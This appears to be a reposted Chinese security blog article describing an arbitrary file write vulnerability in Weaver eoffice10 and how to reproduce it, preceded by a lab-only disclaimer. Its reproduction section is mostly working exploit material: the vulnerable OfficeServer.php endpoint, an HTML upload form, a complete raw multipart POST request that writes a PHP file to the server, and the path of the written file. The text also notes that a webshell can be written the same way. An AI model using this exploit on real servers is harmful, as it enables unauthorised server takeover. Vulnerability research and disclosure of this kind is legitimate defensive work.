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    文章声明

安全技术类文章仅供参考，此文所提供的信息仅针对漏洞靶场进行渗透，未经授权请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章

关。

本文所提供的工具仅用于学习，禁止用于其他目的，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。

一、漏洞描述

泛微eoffice协同办公平台是一款专业的office办公的工具  软件。软件支持在线多人编辑文件，并且会在第一时间收发协作需求。十分方便快捷，界面

晰，操作简单，极易上手，是一款不可多得的利器。

泛微eoffice 10版本存在前台任意文件写入漏洞，攻击者可通过该漏洞上传webshell获取服务器权限。

二、漏洞复现

系统首页地址及页面显示如下

首先查看系统版本信息

泛微 eoffice10 前台任意文件写入漏洞

漏洞预警服务

1. http://xx.xx.xx.xx/eoffice10/client/web/login.html

1. 版本号：http://xx.xx.xx.xx/eoffice10/version.json
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确定了系统版本号之后，本地新建一个html文件，代码如下

浏览器打开显示如下

随便上传一张图片进行抓包，然后修改请求内容如下

写入的文件地址如下

如果想要getshell，直接写入webshell即可。

原文始发于微信公众号（守卫者安全）：泛微 eoffice10 前台任意文件写入漏洞

泛微 eoffice10 前台任意文件写入漏洞

泛微 eoffice10 前台任意文件写入漏洞

存储安全

1. <form method='post'action='http://xx.xx.xx.xx/eoffice10/server/public/iWebOffice2015/OfficeServer.php'enctype="multipart/form-data" ><input type="file" name="FileData"/></br></br><

name="FormData" value="1"/></br></br><button type=submit value="上传">上传</button> </form>

1. POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1Host: xx.xx.xx.xxContent-Length: 376Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nul

multipart/form-data; boundary=----WebKitFormBoundaryqhUtBPRUeNb5pjitUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch

Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip,

zh-CN,zh;q=0.9Connection: close

------WebKitFormBoundaryqhUtBPRUeNb5pjitContent-Disposition: form-data; name="FileData"; filename="1.jpg"Content-Type: image/jpeg

<?php phpinfo();?>------WebKitFormBoundaryqhUtBPRUeNb5pjitContent-Disposition: form-data; name="FormData"

{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test.php'}------WebKitFormBoundaryqhUtBPRUeNb5pjit--

1. http://xx.xx.xx.xx/eoffice10/server/public/iWebOffice2015/Document/test.php

威胁情报
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http://mp.weixin.qq.com/s?__biz=MzIwMDcyNzM0Mw==&mid=2247484971&idx=1&sn=da9ea43e3fdfe946056e8aa1331e38ed&chksm=96f9886ba18e017d2a3b1d6a23cc03e04ea0c188d1330a701cdc72f1e55943802de5378128ee&scene=126&sessionid=1670502729&key=dc3558ed869114b91c19e416e6a4091f8fca8785b2c88bad90b6c6ed43642ea7927cc012cb2f8b12c499dde5be040a5f623e1ee71d37db64bb0beea5e121cb5f34417c7efd9ab0a369e5f48985e961194a8115d2857f0760eb4e153fa1e57d83f8cd2e8f7f0c2c8e10601b960420257e11c0755c43d22d9f38fc22fbf17dcc58&ascene=15&uin=NTY2NTA4NjQ%3D&devicetype=Windows+Server+2016+x64&version=63070517&lang=zh_CN&session_us=gh_24dd07b22045&exportkey=n_ChQIAhIQqK%2FGpvaQOFyjAHuAB%2BsvdxL4AQIE97dBBAEAAAAAAN0vEzL%2B8OsAAAAOpnltbLcz9gKNyK89dVj0JWX32ThqLwdP4PARGRkoTzUUXqPB%2BFCH1Fz8cIe%2F4g07OTRrl77oR6XLRiOsO0zLb4PtRMmtb52du7YjJA1mOUD53r1bloPZEo6VLHQFvCN5iG7iMrMKJePDrZTJYko4bEp8dFPFf9LBhQQzln7lLXJEogZgWhmFTxu9uZMShtPENUkw1Dlzp1FGxhkYVyNku8yPwhK%2FgP2HRKZ7sYv0%2BLBr6xUxafvprjCDHzUdEUPncErsfAxtPPH%2FedNGFGYuWd%2B%2B5jnv%2Fe%2BvY6Ibn%2FSOl
https://cn-sec.com/archives/tag/server
https://cn-sec.com/archives/tag/server


免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带

件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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